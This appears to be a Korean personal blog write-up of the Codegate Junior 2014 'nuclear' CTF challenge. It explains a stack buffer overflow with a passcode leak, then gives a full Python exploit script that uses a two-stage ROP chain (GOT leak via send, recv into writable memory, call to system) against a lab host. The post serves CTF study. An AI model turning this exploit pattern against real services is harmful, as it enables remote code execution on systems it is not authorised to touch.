ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • codegate junior 2014 nuclear
    공부/시스템 2014. 9. 9. 19:39

    간단한 버퍼오버플로 문제..
    라고 하나 한 7시간정도 걸려서 푼것같다(왜이렇게 페이로드에서 계속 실수를 하는지)


    공격방법은 처음 메뉴부분에서 target을 중간에 00이들어가지 않도록 큰값으로 주고(상수여서 부동소숫점 한참보다가그냥 99999.999999999 처럼 겁나 크게 해서 보냄)

    buf의 null바이트를 지우도록 200바이트 꽉차게 보내준다

    그러면 passcode가 릭되고 카운트 다운 하는 곳으로 넘어갈 수 있다


    그다음보면 이상한 값을 막 출력하면서 카운트 다운이 되는데 잘보면 윗부분에 pthread로 start_routine을 실행시킨다

    그리고 보면은 오버플로가 일어난다 여기서 rop를 해주면 되는데


    처음으로는 system함수와 send의 거리차를 구하고 send로 send의 got값을 가져온다

    send는 인자가 4개인데 마우스 휠 조금 드르륵드르륵 내리다 보면 pop4개 ret이 나온다

    그리고 다시 start_routine을 다시 실행시켜주고


    두번쨰는 다시 오버플로를 일으킨다음에 recv로 비어있는 메모리 공간에 실행시킬 명령어를 써주고

    system함수를 실행시키면 된다


    아래익스플로잇에서 hexdump는 인터넷에서 받아온거임!


    exploit code




    from socket import *
    from struct import pack, unpack
    import hexdump
    import time

    p = lambda x : pack("<L", x)
    up = lambda x : unpack("<L", x)[0]
    ip = "192.168.74.131"
    port = 1129

    sd = p(0x00000004)
    pop4ret = p(0x0804917C)
    popret = p(0x080491a6)
    recv_plt = p(0x080488E0)
    send_plt = p(0x08048900)
    send_got = p(0x0804B07C)
    start_routine = p(0x08048B5B)
    addr_size = p(0x00000004)
    free_sp = p(0x804b080)

    system = 0


    payload = ""
    cnt = 101

    #stage1


    payload += "A"*0x210
    payload += send_plt
    payload += pop4ret
    payload += sd
    payload += send_got
    payload += addr_size
    payload += p(0)

    payload += start_routine
    payload += "BBBB"
    payload += sd

    s = socket(AF_INET, SOCK_STREAM)
    s.connect((ip, port))

    print s.recv(1024)
    print s.recv(1024) + "target\n"
    s.send("target\n")
    print s.recv(1024) + "9999999999999.999999999999/9999999999999.999999999999\n"
    s.send("9999999999999.999999999999/9999999999999.999999999999\n")
    print s.recv(1024)
    print s.recv(1024)
    s.send("a"*0x201)
    hexdump.hexdump(s.recv(1024))    #justfor proov leak
    print s.recv(1024)
    s.send("launch\n")
    print s.recv(1024)
    s.send("passcode\n")
    print s.recv(1024)
    print s.recv(1024)
    print s.recv(1024)
    s.send(payload + "\n")
    print s.recv(1024)
    system = up(s.recv(1024))
    print "system = "+ hex(system)
    system += 0xe90
    system = p(system)

    #system rop start
    payload = ""
    payload += "A"*0x210
    payload += recv_plt
    payload += pop4ret
    payload += sd
    payload += free_sp
    payload += p(10)
    payload += p(0)

    payload += system
    payload += "BBBB" #ret dummy
    payload += free_sp

    s.send(payload+"\n")
    print s.recv(1024)
    print s.recv(1024)
    s.send("ls>&4\n")
    print s.recv(1024)


    s.close()

    '공부 > 시스템' 카테고리의 다른 글

    DRAM RowHammer  (0) 2015.03.11
    codegate junior 2014 nuclear  (1) 2014.09.09
    dumpcode.h  (0) 2014.03.24
    simple_bof  (0) 2014.03.21
    system_prob_2  (0) 2014.03.21

    댓글 1

Designed by Tistory.